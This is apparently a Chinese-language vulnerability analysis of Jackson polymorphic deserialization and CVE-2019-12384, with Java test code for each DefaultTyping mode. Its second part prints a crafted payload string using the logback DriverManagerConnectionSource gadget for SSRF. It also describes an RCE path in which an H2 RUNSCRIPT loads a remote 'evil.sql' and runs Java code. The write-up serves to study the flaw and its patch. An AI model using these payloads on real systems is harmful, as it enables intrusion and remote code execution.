之前對Jackson反序列化了解不多,工作需要剛好分析 CVE-2019-12384 漏洞,故此記錄一下關於Jackson反序列化漏洞的理解。
1、Jackson的多態類型綁定
官方介紹在:https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization,主要分兩種:DefaultTyping、@JsonTypeInfo。
- DefaultTyping
主要有下面四種類型,其中默認是:OBJECT_AND_NON_CONCRETE(也是最常用類型)。
JAVA_LANG_OBJECT:僅影響Object.class類型的屬性 OBJECT_AND_NON_CONCRETE:影響Object.class和所有非具體類型(抽象類,接口) NON_CONCRETE_AND_ARRAYS:與上面相同,並且所有相同的數組類型(直接元素是非具體類型或Object.class) NON_FINAL:影響未聲明為“final”的所有類型,以及非最終元素類型的數組類型。
a、JAVA_LANG_OBJECT :當類里的屬性聲明為一個Object時,會對該屬性進行序列化和反序列化,並且明確規定類名。測試代碼:
package jacksonxx; import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.ObjectMapper; public class Test { public static void main(String[] args) throws Exception { People p = new People(); p.age = 10; p.name = "com.l1nk3r.jackson.l1nk3r"; p.object = new l1nk3r(); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT); String json = mapper.writeValueAsString(p); System.out.println(json); //{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["com.l1nk3r.jackson.l1nk3r",{"length":100}]} People p2 = mapper.readValue(json, People.class); System.out.println(p2);
//age=10, name=com.l1nk3r.jackson.l1nk3r, jacksonxx.l1nk3r@239963d8 } } class People { public int age; public String name; public Object object; @Override public String toString() { return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object); } } class l1nk3r { public int length = 100; }
此時,在我們進行序列化和反序列化的時候,序列化json信息中攜帶了相關的類的信息:"object":["com.l1nk3r.jackson.l1nk3r",{"length":100}]
b、OBJECT_AND_NON_CONCRETE:默認方法,除了上面的特征,當類里有 Interface 、 AbstractClass 時,也對其進行序列化和反序列化。測試代碼:
package jacksonxx; import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.ObjectMapper; public class Test { public static void main(String[] args) throws Exception { People p = new People(); p.age = 10; p.name = "com.l1nk3r.jackson.l1nk3r"; p.object = new l1nk3r(); p.sex = new MySex(); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String json = mapper.writeValueAsString(p); System.out.println(json); //{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["jacksonxx.l1nk3r",{"length":100}],"sex":["jacksonxx.MySex",{"sex":0}]} People p2 = mapper.readValue(json, People.class); System.out.println(p2); //age=10, name=com.l1nk3r.jackson.l1nk3r, jacksonxx.l1nk3r@57fffcd7 } } class People { public int age; public String name; public Object object; public Sex sex; @Override public String toString() { return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object); } } class l1nk3r { public int length = 100; } class MySex implements Sex { int sex; @Override public int getSex() { return sex; } @Override public void setSex(int sex) { this.sex = sex; } } interface Sex { public void setSex(int sex); public int getSex(); }
c、NON_CONCRETE_AND_ARRAYS :除了上文提到的特征,還支持上文全部類型的Array類型(直接元素是非具體類型或Object.class)。例如下面的代碼,我們的Object里存放l1nk3r的數組。
package jacksonxx;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
public class Test {
public static void main(String[] args) throws Exception {
People p = new People();
p.age = 10;
p.name = "com.l1nk3r.jackson.l1nk3r";
l1nk3r[] l1nk3rs= new l1nk3r[2];
l1nk3rs[0]=new l1nk3r();
l1nk3rs[1]=new l1nk3r();
p.object = l1nk3rs;
p.sex = new MySex();
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
String json = mapper.writeValueAsString(p);
System.out.println(json);
//{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["[Ljacksonxx.l1nk3r;",[{"length":100},{"length":100}]],"sex":["jacksonxx.MySex",{"sex":0}]}
People p2 = mapper.readValue(json, People.class);
System.out.println(p2);
//age=10, name=com.l1nk3r.jackson.l1nk3r, [Ljacksonxx.l1nk3r;@31a5c39e
}
}
class People {
public int age;
public String name;
public Object object;
public Sex sex;
@Override
public String toString() {
return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object);
}
}
class l1nk3r {
public int length = 100;
}
class MySex implements Sex {
int sex;
@Override
public int getSex() {
return sex;
}
@Override
public void setSex(int sex) {
this.sex = sex;
}
}
interface Sex {
public void setSex(int sex);
public int getSex();
}
d、NON_FINAL :包括上文提到的所有特征,而且包含即將被序列化的類里的全部、非final的屬性,也就是相當於整個類、除final外的的屬性信息都需要被序列化和反序列化。
package jacksonxx; import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.ObjectMapper; public class Test { public static void main(String[] args) throws Exception { People p = new People(); p.age = 10; p.name = "l1nk3r"; p.object = new l1nk3r(); p.sex = new MySex(); p.l1nk3r=new l1nk3r(); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL); String json = mapper.writeValueAsString(p); System.out.println(json); //["jacksonxx.People",{"age":10,"name":"l1nk3r","object":["jacksonxx.l1nk3r",{"length":100}],"sex":["jacksonxx.MySex",{"sex":0}],"l1nk3r":["jacksonxx.l1nk3r",{"length":100}]}] People p2 = mapper.readValue(json, People.class); System.out.println(p2); //age=10, name=l1nk3r, jacksonxx.l1nk3r@57fffcd7 } } class People { public int age; public String name; public Object object; public Sex sex; public l1nk3r l1nk3r; @Override public String toString() { return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object); } } class l1nk3r { public int length = 100; } class MySex implements Sex { int sex; @Override public int getSex() { return sex; } @Override public void setSex(int sex) { this.sex = sex; } } interface Sex { public void setSex(int sex); public int getSex(); }
- @JsonTypeInfo
@JsonTypeInfo 也是jackson多態類型綁定的一種方式,它一共支持下面5種類型的取值。
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE) @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS) @JsonTypeInfo(use = JsonTypeInfo.Id.NAME) @JsonTypeInfo(use = JsonTypeInfo.Id.COSTOM)
其中只有CLASS、MINICMAL_CLASS在輸出結果中攜帶了相關類,便於我們反序列化漏洞的利用。測試代碼如下:
package com.l1nk3r.jackson; import com.fasterxml.jackson.annotation.JsonTypeInfo; import com.fasterxml.jackson.databind.ObjectMapper; import java.io.IOException; public class Jsontypeinfo { public static void main(String[] args) throws IOException { ObjectMapper mapper= new ObjectMapper(); User user = new User(); user.name= "l1nk3r"; user.age=100; user.obj=new Height(); String json = mapper.writeValueAsString(user); System.out.println(json); } } class User{ public String name; public int age; @JsonTypeInfo(use = JsonTypeInfo.Id.NONE) public Object obj; public String toString(){ return "name:" + name + " age:" + age + " obj:" + obj; } } class Height{ public int h = 100; }
所以上面的內容表明,我們在可控輸入序列化字符串的時候,使用 enableDefaultTyping()、@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)、@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS) 時,才能成功反序列化出我們想要的類。
2、CVE-2019-12384
回到我們的這個漏洞,利用該漏洞需要用到:logback-core和h2兩個三方jar包,且能控制輸入完整的惡意序列化字符串且使用了多態,整體來說利用場景比較有限。
我們構造的惡意序列化字符串如下:
String content = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:tcp://127.0.0.1:8888/aaa\"}]";
其中 ch.qos.logback.core.db.DriverManagerConnectionSource 代表的是類名,后面 {} 里面的是類中url變量,值為 jdbc:h2:tcp://127.0.0.1:8888/aaa 。我們看看這個 ch.qos.logback.core.db.DriverManagerConnectionSourcel 類:
Jackson在進行序列化的時候會循環調用序列化對象所屬類的每一個get方法,當調用到類ch.qos.logback.core.db.DriverManagerConnectionSource的getConnection()方法的時,實際是去調用DriverManager. getConnection()方法去鏈接遠程的數據庫,也就導致產生了SSRF漏洞 。
首先通過 mapper.readValue() 函數反序列化出要調用的 ch.qos.logback.core.db.DriverManagerConnectionSource 類對象,其中類中的遠程加載的url為我們傳入的ssrf地址,並返回該object對象:
然后進入 mapper.writeValueAsString() 方法,傳入object對象,然后循環去解析ch.qos.logback.core.db.DriverManagerConnectionSource類中的方法:
當i為6時,跟進調用鏈,發現使用了DriverManager.getConnection()方法去鏈接遠程的數據庫,出現ssrf漏洞。
而rce的利用,是使用了jdbc:h2:mem:來操作內存表,使用RUNSCRIPT FROM 'http://localhost:8888/evil.sql'來加載遠程SQL文件在內存中執行,而我們的 evil.sql實際是一個java代碼的函數,通過CALL來調用,於是造成java代碼在本地應用執行,出現rce。
漏洞修復補丁:https://github.com/FasterXML/jackson-databind/commit/c9ef4a10d6f6633cf470d6a469514b68fa2be234
在補丁中可以看到是直接把ch.qos.logback.core.db.DriverManagerConnectionSource 類加入了黑名單,我們的利用鏈也就無法利用成功了。但這種黑名單方式,局限性也比較大的,找到新的利用鏈即可再次利用,如:https://github.com/FasterXML/jackson-databind/compare/jackson-databind-2.9.9.1...jackson-databind-2.9.9.2(對應CVE-2019-14379、CVE-2019-14361)
參考:
https://blog.doyensec.com/2019/07/22/jackson-gadgets.html
https://forum.90sec.com/t/topic/259